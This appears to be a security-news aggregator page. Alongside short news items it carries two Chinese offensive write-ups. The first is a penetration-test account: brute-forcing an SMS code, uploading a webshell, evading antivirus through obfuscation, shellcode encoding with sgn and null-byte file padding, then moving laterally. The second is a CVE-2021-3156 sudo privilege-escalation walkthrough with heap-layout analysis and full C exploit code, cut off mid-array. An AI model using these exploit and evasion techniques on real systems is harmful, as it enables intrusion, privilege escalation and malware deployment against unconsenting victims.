Aggregator

2024中国网络安全产业势能榜优能企业「电力行业」典型案例展示

嘶吼专业版
10 months 3 weeks ago
电力行业作为国家的重要基础设施，涉及到大量的关键系统和设备。随着智能电网的普及，行业面临的安全挑战日益增加。如何通过创新技术加强电力系统的安全防护，确保持续稳定的服务，是行业发展的重要课题。通过一些典型案例，我们将展示信息安全技术在电力行业的成功实践。 PS：典型案例展示排名不分先后，按企业简称首字母排序。

IBM i Access Client Solutions Might Be Leaking Your Passwords

GBHackers on Security | #1 Globally Trusted Cyber Security News Platform
10 months 3 weeks ago

A potential security flaw in IBM i Access Client Solutions (ACS) has raised serious concerns about password leakage, leaving users vulnerable to exploitation. Research published yesterday by a vulnerability assessment team revealed that the *WINLOGON authentication feature in IBM ACS is questionably storing Windows credentials, potentially exposing plaintext passwords. This alarming discovery has prompted immediate […]

The post IBM i Access Client Solutions Might Be Leaking Your Passwords appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Divya

IMDb 创始人卸任 CEO 一职

Solidot
10 months 3 weeks ago
IMDb（互联网电影数据库）创始人 Col Needham 在担任 CEO 一职 35 年后卸任，改为担任执行主席，此前担任 COO 的 Nikki Santoro 接替了他的 CEO 职位。Needham 于 1990 年 23 岁时创立了 IMDb，1998 年被亚马逊收购，但仍然作为独立公司运营至今，IMDb 曾是影视剧爱好者访问率最高的网站之一，它提供了电影电视剧完整的数据库，还为每部剧集提供了一个用户讨论论坛，但几年前 IMDb 做出了一个受争议决定，关闭了用户论坛，推动了更多竞争对手的涌现。

记一次有点抽象的渗透经历

安全脉搏
10 months 3 weeks ago
0x01 获取webshell

在各种信息搜集中，发现某个ip的端口挂着一个比较老的服务。

首先看到了员工工号和手机号的双重验证，也不知道账号是什么结构组成的，基本上放弃字典爆破这一条路。于是乎打开之前用灯塔的扫描结果，看看文件泄露是否有什么可用的点。发现其中有一个略显突出的help.html。可能是系统的帮助文档

看得出来也是一个年久失修的系统了，图片的链接都已经404了。但是这里得到了一个示例账号zs001，也知道了初始密码是123456（吐槽：果然年久失修了，这个系统就没有输入密码的input，只有一个手机号验证码）。

知道了账号，这里还缺一个手机号。感觉这个系统应该没做验证，毕竟看上去是一个老旧的系统，估计有没有人用用都不好说，可能是单位那种废弃了但是还没下架的边缘资产。然后随便输入一个手机号上去。果然！

然后随便找个手机接码平台等待验证码发过来，然后过了十几分钟无果，想到可能是废弃资产的原因验证码接口早就失效了。于是没办法只能掏出burp开始爆破，估计验证码也是四位数，如果是六位数验证码大概率没系了。但是这波运气还算可以。也是成功爆破出来了。

然后登录后台直接上传一个木马，没有任何过滤。emmmmmmm开始怀念过去。那时候的洞是真好挖啊。

但是访问的时候出现了一个坏消息。404了，404了怎么办呢。想到了可能目标服务器上有杀软之类的东西。木马可能是上传到服务器上了，然后再上传到服务器之后被杀软自动隔离，那么这时候访问就会出现404。



0x02 webshell免杀

这里中途又替换了几个github上的免杀木马，均无效。ps:我是懒狗，免杀什么的能不写代码就不写代码。php这玩意有个好处，就是语法特别脏，各种免杀手法层出不穷，花里胡哨。这里就简单的介绍几种比较偷懒的方法。

2.1 无字母webshell

个人在实际渗透过程中还算挺好用的，无字母webshell本来是ctf的一些题目，但是事实上免杀效果确实也挺强，而且适应性也比较高，适合一句话木马。之后可以直接上蚁剑链接。

举例：

ps：当然都说了偷懒，肯定不是我写的，直接去ctf平台的题目的writeup偷一个就好了。或者直接百度搜索无字母webshell。

免杀效果如下：

ps: emmmmmmm，我只能说，无敌好吧。

2.2 一键免杀工具免杀

这里不多说了，去github直接找就是，但是github特征过于明显，以至于被多个杀软厂商标记。现在感觉免杀的效果也不太好了。基本上start高一些的工具生成的webshell都是秒杀。但是可以找一些start数量少的，效果也还不错。

2.3 混淆免杀

混淆免杀，php有很多在线混淆的网站，也就是在不改变代码的功能情况下打乱语法的结构使得代码变为不可读或者可读性很差的代码防止其他人去修改。

可以直接去网上搜索php混淆

这里就是用的就是在线混淆php代码的方式直接过了目标主机上的杀软。

0x03 绕过杀软上线

接下来就是传frp代理，上cs的操作了。这里先上一个cs，但是由于目标机器上有杀软，所以采用shellcode加加载器的方式去进行绕过。众所周知，cs的特征较为明显，很容易就会被杀软拦截。

首先是shellcode免杀，shellcode免杀可以使用github上的sgn加密工具，免杀效果能达到vt0检测。github链接:https://github.com/EgeBalci/sgn

使用方法也很简单，把cs生成的shellcode放在sgn文件夹中执行 ,***.sgn就是免杀之后的shellcode了。

sgn.exe shellcode文件名

免杀前效果

免杀后效果

剩下的就是加载器本身的免杀了，这里我就用github随便clone下来的加载器。可以看到编译完成都没来得及运行就直接被杀了。那么怎么在不动加载器的源代码的情况下。完成免杀效果呢。

其实有一个比较抽象的技巧，就是当文件足够大之后，杀软的沙箱就不会去运行该程序，从而实现绕过杀软的检测。比如一个几百m的exe杀软就不会去检测。

那么怎么能让文件变得足够大呢？就是不断往文件后面填充垃圾字符，比如\x00这样既不会影响exe执行，又能够让exe变得足够大。比如我用python不断往文件后面追加\x00字符。

这里上代码

with open('1.exe', 'ab') as f:\f.write(b'\x00' * 1024 * 1024 * 100)

可以看到每次运行add.py 1.exe就大了100m。

然后多次运行，当1.exe达到2g的时候，根据每个杀毒软件版本不一定能用。有些新的杀软不会检测文件大小判断是否运行。（这个方法很玄学，不是很稳定，有时候能有有时候不能用。但是还是值得一试，毕竟是老前辈传承下来的经典免杀手法。）

但是问题来了，2个g的文件怎么上传到服务器又是一个问题，这里就要说明一下\x00的好处了，可以通过压缩成zip的方式把exe压缩，压缩文件的体积其实还是和之前编译好的文件差不多大。然后只能很方便的就能够把压缩包上传到服务器，然后通过服务器的命令去进行解压。也可以通过webshell去实现解压文件的功能。

0x04 内网移动

之后便是熟悉的内网横向环节了。首先是看到了一个弱口令，然后直接链接数据库然后getshell。

然后直接net user add，之后3389链接上服务器，翻出了一个密码本。

找到一个双网卡的sql server服务器，然后上线，扫一波SMB

最后找到重要系统10.x.x.x 这个系统，看着是java写的后端,也是一个看起来很老的界面了。

扫了一下路径发现存在druid。

原本想找session登录的，然后想了一下试一下运气直接怼一波st2，成功拿下（也是运气爆棚）

  


蚁景网安实验室

记一次有点抽象的渗透经历

不安全
10 months 3 weeks ago
0x01 获取webshell在各种信息搜集中，发现某个ip的端口挂着一个比较老的服务。首先看到了员工工号和手机号的双重验证，也不知道账号是什么结构组成的，基本上放弃字典爆破这一条

CVE复现之老洞新探（CVE-2021-3156）

安全脉搏
10 months 3 weeks ago
环境搭建

直接拉取合适的docker

docker 环境：

https://hub.docker.com/r/chenaotian/cve-2021-3156

下载glibc-2.27源码和sudo-1.8.21源码

漏洞分析    /* set user_args */
   if (NewArgc > 1) {
       char *to, *from, **av;
       size_t size, n;

       /* Alloc and build up user_args. */
       for (size = 0, av = NewArgv + 1; *av; av++)
       size += strlen(*av) + 1; //计算command缓冲区的大小，每个command后面跟一个空格符
       if (size == 0 || (user_args = malloc(size)) == NULL) {  //分配堆块，存放command
       sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
       debug_return_int(-1);
       }
       if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {  // 设置-s参数进入分支
       /*
        * When running a command via a shell, the sudo front-end
        * escapes potential meta chars.  We unescape non-spaces
        * for sudoers matching and logging purposes.
        */
       for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
           while (*from) {
           if (from[0] == '\\' && !isspace((unsigned char)from[1]))
               from++; // 跳过反斜杠
           *to++ = *from++; // 复制反斜杠后面的字符
           } // 漏洞点在于当结尾是\且后面不是空格时，会from++一次，在拷贝完后还会from++，再去判断while的条件，就跳过了0，造成了越界写。
           *to++ = ' '; //每个command后面跟一个空格
       }
       *--to = '';
       } else {
       for (to = user_args, av = NewArgv + 1; *av; av++) {
           n = strlcpy(to, *av, size - (to - user_args));
           if (n >= size - (to - user_args)) {
           sudo_warnx(U_("internal error, %s overflow"), __func__);
           debug_return_int(-1);
           }
           to += n;
           *to++ = ' ';
       }
       *--to = '';
       }
   }
   }

结合调试，可以对漏洞的情况有更清楚的了解。参数以反斜杠结尾会导致写入一个零字节而继续赋值下一个参数，在这里有两点：

①以反斜杠结尾可导致溢出

②以反斜杠作为参数可以写入零字节

同时，被溢出的那个堆块的大小等于对应参数长度+1。

漏洞调试

glibc源码

gdb exp
catch exec
b policy_check
b sudoers.c:846

b setlocale
b sudo.c:148
b setlocale.c:369 // strdup
b setlocale.c:398

b nss_load_library gcc exp.c -o exp2 -lm 漏洞利用 1 利用目标 p ni

可以发现service_user结构体在堆上

堆块大小为0x40

nss_load_library的函数调用流程和相关的数据结构机制

/* Load library.  */
static int

' (service_user *ni)
{
 if (ni->library == NULL) // ni->library等于0进入分支
   {
     /* This service has not yet been used.  Fetch the service
    library for it, creating a new one if need be.  If there
    is no service table from the file, this static variable
    holds the head of the service_library list made from the
    default configuration.  */
     static name_database default_table;
     ni->library = nss_new_service (service_table ?: &default_table,
                    ni->name); // 新建一个ni->library，并将成员初始化
     if (ni->library == NULL)
   return -1;
   }

 if (ni->library->lib_handle == NULL) // ni->library是新建的，lib_handle是0
   {
     /* Load the shared library.  */
     size_t shlen = (7 + strlen (ni->name) + 3
             + strlen (__nss_shlib_revision) + 1);
     int saved_errno = errno;
     char shlib_name[shlen];

     /* Construct shared object name.  */
     __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
                         "libnss_"),
                   ni->name),
             ".so"),
       __nss_shlib_revision); // shlib_name经过拼接得到 libnss_+ni->name+.so+__nss_shlib_revision

     ni->library->lib_handle = __libc_dlopen (shlib_name);// 加载动态库
     if (ni->library->lib_handle == NULL)
   {
     /* Failed to load the library.  */
     ni->library->lib_handle = (void *) -1l;
     __set_errno (saved_errno);
   }

通过对nss_load_library源码的分析，发现这里如果能将ni结构体的library覆盖为0，name覆盖成自己的so文件名，具体为libnss_XXX/test.so.2，其中libnss_是拼接的路径，XXX/test是name的值，.so.2是拼接上去的，拼接后libnss_XXX/test.so.2表示当前路径下libnss_XXX文件夹中的test.so.2，我们完成修改后，在当前路径下创建对应的文件夹，将恶意文件放到其中，更名为test.so.2，就能加载执行恶意文件。



2 堆块布局

接下来，就是需要想办法将这个service_user结构体放到存在溢出的堆块下面。

这就来到了第二个问题，setlocale 如何通过环境变量LC_* 进行堆布局。

// locale\setlocale.c
     /* Load the new data for each category.  */
     while (category-- > 0)
   if (category != LC_ALL)
     {
       newdata[category] = _nl_find_locale (locale_path, locale_path_len,
                        category,
                        &newnames[category]);//通过_nl_find_locale函数去获取环境变量的值，存放在newdata[category]中

       if (newdata[category] == NULL)
         {
#ifdef NL_CURRENT_INDIRECT
       if (newnames[category] == _nl_C_name)
         /* Null because it's the weak value of _nl_C_LC_FOO.  */
         continue;
#endif
       break;
         }

首先是通过_nl_find_locale函数去获取环境变量的值，存放在newdata[category]中

// locale\findlocale.c
struct __locale_data *
_nl_find_locale (const char *locale_path, size_t locale_path_len,
        int category, const char **name)
{
   ......
/* LOCALE can consist of up to four recognized parts for the XPG syntax:

       language[_territory[.codeset]][@modifier]

    Beside the first all of them are allowed to be missing.  If the
    full specified locale is not found, the less specific one are
    looked for.  The various part will be stripped off according to
    the following order:
       (1) codeset
       (2) normalized codeset
       (3) territory
       (4) modifier
  */
  //locale的命名规则为<语言>_<地区>.<字符集编码>，如zh_CN.UTF-8，zh代表中文，CN代表大陆地区，UTF-8表示字符集。
  // C.UTF-8@AAAAAAAAA
 mask = _nl_explode_name (loc_name, &language, &modifier, &territory,
              &codeset, &normalized_codeset);
              // 判断四个部分那部分有缺失
 if (mask == -1)
   /* Memory allocate problem.  */
   return NULL;

 /* If exactly this locale was already asked for we have an entry with
    the complete name.  */
 locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
                   locale_path, locale_path_len, mask,
                   language, territory, codeset,
                   normalized_codeset, modifier,
                   _nl_category_names.str
                   + _nl_category_name_idxs[category], 0);

 if (locale_file == NULL)
   {
     /* Find status record for addressed locale file.  We have to search
    through all directories in the locale path.  */
     locale_file = _nl_make_l10nflist (&_nl_locale_file_list[category],
                   locale_path, locale_path_len, mask,
                   language, territory, codeset,
                   normalized_codeset, modifier,
                   _nl_category_names.str
                   + _nl_category_name_idxs[category], 1);
     if (locale_file == NULL)
   /* This means we are out of core.  */
   return NULL;
   }

结合源码和相关资料，可以知道locale的命名规则为<语言>_<地区>.<字符集编码>，如zh_CN.UTF-8，zh代表中文，CN代表大陆地区，UTF-8表示字符集。例如C.UTF-8@AAAAAAAAA

堆申请原语和堆释放原语

// locale\setlocale.c
     /* Load the new data for each category.  */
     while (category-- > 0)
   if (category != LC_ALL)
     {
       newdata[category] = _nl_find_locale (locale_path, locale_path_len,
                        category,
                        &newnames[category]);//通过_nl_find_locale函数去获取环境变量的值，存放在newdata[category]中

       if (newdata[category] == NULL)
         {
#ifdef NL_CURRENT_INDIRECT
       if (newnames[category] == _nl_C_name)
         /* Null because it's the weak value of _nl_C_LC_FOO.  */
         continue;
#endif
       break;
         }

       /* We must not simply free a global locale since we have
          no control over the usage.  So we mark it as
          un-deletable.  And yes, the 'if' is needed, the data
          might be in read-only memory.  */
       if (newdata[category]->usage_count != UNDELETABLE)
         newdata[category]->usage_count = UNDELETABLE;

       /* Make a copy of locale name.  */
       if (newnames[category] != _nl_C_name)
         {
       if (strcmp (newnames[category],
               _nl_global_locale.__names[category]) == 0)
         newnames[category] = _nl_global_locale.__names[category];
       else
         {
           newnames[category] = __strdup (newnames[category]);
           //使用__strdup函数在堆内存中分配空间，并将newdata[category]拷贝进去
           if (newnames[category] == NULL)
             break;
         }
         }
     }

     /* Create new composite name.  */
     composite = (category >= 0
          ? NULL : new_composite_name (LC_ALL, newnames));
     if (composite != NULL)
   {
     /* Now we have loaded all the new data.  Put it in place.  */
     for (category = 0; category < __LC_LAST; ++category)
       if (category != LC_ALL)
         {
       setdata (category, newdata[category]);
       setname (category, newnames[category]);
         }
     setname (LC_ALL, composite);

     /* We successfully loaded a new locale.  Let the message catalog
        functions know about this.  */
     ++_nl_msg_cat_cntr;
   }
     else
   for (++category; category < __LC_LAST; ++category)
     if (category != LC_ALL && newnames[category] != _nl_C_name
         && newnames[category] != _nl_global_locale.__names[category])
       free ((char *) newnames[category]);
       //这里就是堆块释放的原语了，只要有一个区域设置的值不符合规范，则将之前所有申请的堆块都释放掉

先使用__strdup函数在堆内存中分配空间，并将newdata[category]拷贝进去，其中

char * __strdup(const char *s)
{
  size_t  len = strlen(s) +1;
  void *new = malloc(len);
  if (new == NULL)
     return NULL;
  return (char *)memecpy(new,s,len);
}

然后当遇到不合法的区域的值时，就会将前面申请的堆都free掉。

locale把按照所涉及到的使用习惯的各个方面分成12个大类，这12个大类分别是：

1、语言符号及其分类(LC_CTYPE)

2、数字(LC_NUMERIC)

3、比较和习惯(LC_COLLATE)

4、时间显示格式(LC_TIME)

5、货币单位(LC_MONETARY)

6、信息主要是提示信息,错误信息,状态信息,标题,标签,按钮和菜单等(LC_MESSAGES)

7、姓名书写方式(LC_NAME)

8、地址书写方式(LC_ADDRESS)

9、电话号码书写方式(LC_TELEPHONE)

10、度量衡表达方式 (LC_MEASUREMENT)

11、默认纸张尺寸大小(LC_PAPER)

12、对locale自身包含信息的概述(LC_IDENTIFICATION)。

对应

"LC_CTYPE"
"LC_NUMERIC"
"LC_TIME"
"LC_COLLATE"
"LC_MONETARY",
"LC_MESSAGES"
"LC_ALL"
"LC_PAPER"
"LC_NAME"
"LC_ADDRESS"
"LC_TELEPHONE"
"LC_MEASUREMENT"
"LC_IDENTIFICATION"

其中，处理是从下往上的顺序处理的，所以在传参的时候要注意一下顺序，不然最开始就错误全部释放掉了。

接下里就是想要如何将一个service_user申请到前面我的堆块前面

可以在申请service_user前，先利用堆申请原语和堆释放原语挖好坑。由于知道service_user的chunk大小是0x40，而我们堆溢出的chunk的大小可以自己控制，只要保证大小对应，就可以了。

通过动态调试可以明确__strdup的参数是C.UTF-8@XXXXXX，所以得到的堆块size是参数长度+1，利用下面脚本生成目标size的内容。

length = 0x38
while(length < 0x100):
   tail = 'C.UTF-8@'
   # length = 0x48
   q = "a"*(length-2)+"\\"
   p = tail+'a'*(length-1-len(tail))
   print(hex(length))
   print(q)
   print(p)
   length += 0x10

经过测试，先按照0x40,0x40,0xa0,0x40的顺序设置4个，再设置一个不合法的，可以在中间一些无法避免的堆块操作后得到一个可利用的堆排布。最后设置一个非法的值。

"LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
"LC_NAME=xxxxxxxx"

其中0xa0是为堆溢出的堆块留的坑

   /* set user_args */
   if (NewArgc > 1) {
       char *to, *from, **av;
       size_t size, n;

       /* Alloc and build up user_args. */
       for (size = 0, av = NewArgv + 1; *av; av++)
       size += strlen(*av) + 1;
       if (size == 0 || (user_args = malloc(size)) == NULL) {
       sudo_warnx(U_("%s: %s"), __func__, U_("unable to allocate memory"));
       debug_return_int(-1);
       }

在malloc前下断点·

b sudoers.c:849

查看bins，可以看到tcachebins中0xa0正好有一个堆块

然后在nss_load_library下断点，查看service_user

b nss_load_library
p ni

可以看到前面0xa0的堆块在service_user的前面，这样就可以通过溢出覆盖name字段

所以填坑的参数按照前面的分析应该是

"a"*(0x98-1)+"\\"
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\"

综合得到如下初步exp

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>

#define __LC_CTYPE               0
#define __LC_NUMERIC             1
#define __LC_TIME                2
#define __LC_COLLATE             3
#define __LC_MONETARY            4
#define __LC_MESSAGES            5
#define __LC_ALL                 6
#define __LC_PAPER               7
#define __LC_NAME                8
#define __LC_ADDRESS             9
#define __LC_TELEPHONE          10
#define __LC_MEASUREMENT        11
#define __LC_IDENTIFICATION     12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int main()
{
   char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
   char *env[] = {"XXX/test","LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","LC_NAME=xxxxxxxx",NULL};
   execve("/usr/local/bin/sudoedit",argv,env);
}
3 溢出利用

当前exp把XXX/test写到了0x555555623b07

此时的service_user在0x5555556241b0，name的偏移是0x30

start = 0x555555623b07
end = 0x5555556241b0+0x30
n = end-start
print(n)
for i in range(n):
   print('"\\\\"',end=',')  

前面知道以反斜杠作为单独的参数，能够写入\x00，由于这里需要把library字段覆盖为0，所以通过上述代码生成相应数量的反斜杠，并填在XXX/test前，将XXX/test填入name的同时将library填为0。

共1753个反斜杠

exp

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
#include<math.h>

#define __LC_CTYPE               0
#define __LC_NUMERIC             1
#define __LC_TIME                2
#define __LC_COLLATE             3
#define __LC_MONETARY            4
#define __LC_MESSAGES            5
#define __LC_ALL                 6
#define __LC_PAPER               7
#define __LC_NAME                8
#define __LC_ADDRESS             9
#define __LC_TELEPHONE          10
#define __LC_MEASUREMENT        11
#define __LC_IDENTIFICATION     12

char * envName[13]={"LC_CTYPE","LC_NUMERIC","LC_TIME","LC_COLLATE","LC_MONETARY","LC_MESSAGES","LC_ALL","LC_PAPER","LC_NAME","LC_ADDRESS","LC_TELEPHONE","LC_MEASUREMENT","LC_IDENTIFICATION"};

int main()
{
   char *argv[] = {"sudoedit","-s","aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\",NULL};// malloc(size) size = arg1_len + 1
   char *env[] = {"\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\","\\